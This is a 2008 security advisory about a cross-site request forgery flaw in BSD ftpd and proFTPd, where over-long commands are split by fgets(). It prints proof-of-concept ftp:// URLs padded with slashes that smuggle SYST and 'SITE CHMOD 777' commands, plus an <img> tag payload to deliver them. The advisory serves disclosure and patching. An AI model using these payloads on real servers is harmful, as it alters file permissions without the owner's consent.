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  Проблема небезопасного fgets() во многих FTP-сервера.

  FreeBSD Security Advisory FreeBSD-SA-08:12.
ftpd

  FreeBSD Security Advisory FreeBSD-SA-09:01.
lukemftpd

From:Maksymilian Arciemowicz <cxib_(at)_securityreason.com>
Date:30 сентября 2008 г.
Subject:multiple vendor ftpd - Cross-site request forgery

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[ multiple vendor ftpd - Cross-site request forgery ]

Author: Maksymilian Arciemowicz
securityreason.com
Date:
- - Written: 03.09.2008
- - Public: 26.09.2008

SecurityReason Research
SecurityAlert Id: 56

CVE: not assigned
SecurityRisk: Low

Affected Software:
This problem has been discovered on OpenBSD 4.3 .
- - Affected systems:
       + OpenBSD
       + NetBSD
       + FreeBSD
       + some linux
- - Affected applications:
       + proFTPd
       + others

Advisory URL:
http://securityreason.com/achievement_securityalert/56


- --- 0.Description ---
ftpd -- Internet File Transfer Protocol server

The ftpd utility is the Internet File Transfer Protocol server process. The server uses the TCP
protocol and listens at the port specified with the -P option or in the ``ftp'' service specification;
see services(5).

Cross-site request forgery, also known as one click attack, sidejacking or session riding and
abbreviated as CSRF (Sea-Surf[1]) or XSRF, is a type of malicious exploit of a website whereby
unauthorized commands are transmitted from a user the website trusts. Contrary to cross-site scripting
(XSS), which exploits the trust a user has for a particular site, cross-site request forgery exploits
the trust that a site has for a particular user.

http://en.wikipedia.org/wiki/Cross-site_request_forgery

- --- 1. ftpd bsd - Cross-site request forgery ---
The main problem exists in dividing long command for few others. The problem stems from the fact the
use of the loop for(;;) and function fgets().

Example:
Command
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
"

will be split for

500
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA':
command not understood.
500
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'


When we try request to ftp deamon via browsers and path is longer 512<, our URL will be split.

/* FreeBSD 7.0 */
ftp://[email protected]
1////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////
//////////////////////SYST

return result from SYST command:
215 UNIX Type: L8 Version: BSD-199506


/* NetBSD 4.0 */
ftp://ftp.netbsd.
org//////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////
////////////////////////SYST

return result from SYST command:
215 UNIX Type: L8 Version: NetBSD-ftpd 20080609

The situation, can be dangerous, when this bug will be exploited like any CSRF attack. We can use
SITE CHMOD command to change file permission or other combinations with ftp commands. Only we need
some exploit and luck, that admin will executed exploited url.

How to exploit it?

0.
Creating some html file with <img> tags
<img src="ftp://.....////SITE%20CHMOD%20777%20FILENAME">
...

1.
Give preparing URL for user.

Example:
ftp://ftp.netbsd.
org//////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////
////////////////////////SITE%20CHMOD%20777%20EXAMPLEFILE

will change permision to EXAMPLEFILE when the owner will use this URL.

I think, it should be some byte, what inform about overflowing (empty command should nulling this
byte). We have diagnosed this issue on BSD systems. Unfortunately, we do not know exactly how many
machines can be affected.

- --- 2. How to fix ---
OpenBSD has been first informed. Fix is avalible on cvs:

http://www.openbsd.org/cgi-bin/cvsweb/src/libexec/ftpd/ftpd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/libexec/ftpd/extern.h
http://www.openbsd.org/cgi-bin/cvsweb/src/libexec/ftpd/ftpcmd.y

Thanks for OpenBSD Team.

NetBSD:
http://cvsweb.netbsd.org/bsdweb.cgi/src/libexec/ftpd/ftpd.c

proFTPd:
http://bugs.proftpd.org/show_bug.cgi?id=3115

SecurityReason has informed only BSD developers and proFTPd Team.

- --- 3. Greets ---
sp3x infospec p_e_a pi3 schain

- --- 4. Contact ---
Author: SecurityReason [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: cxib [at] securityreason [dot] com
GPG: http://securityreason.pl/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com
http://securityreason.pl

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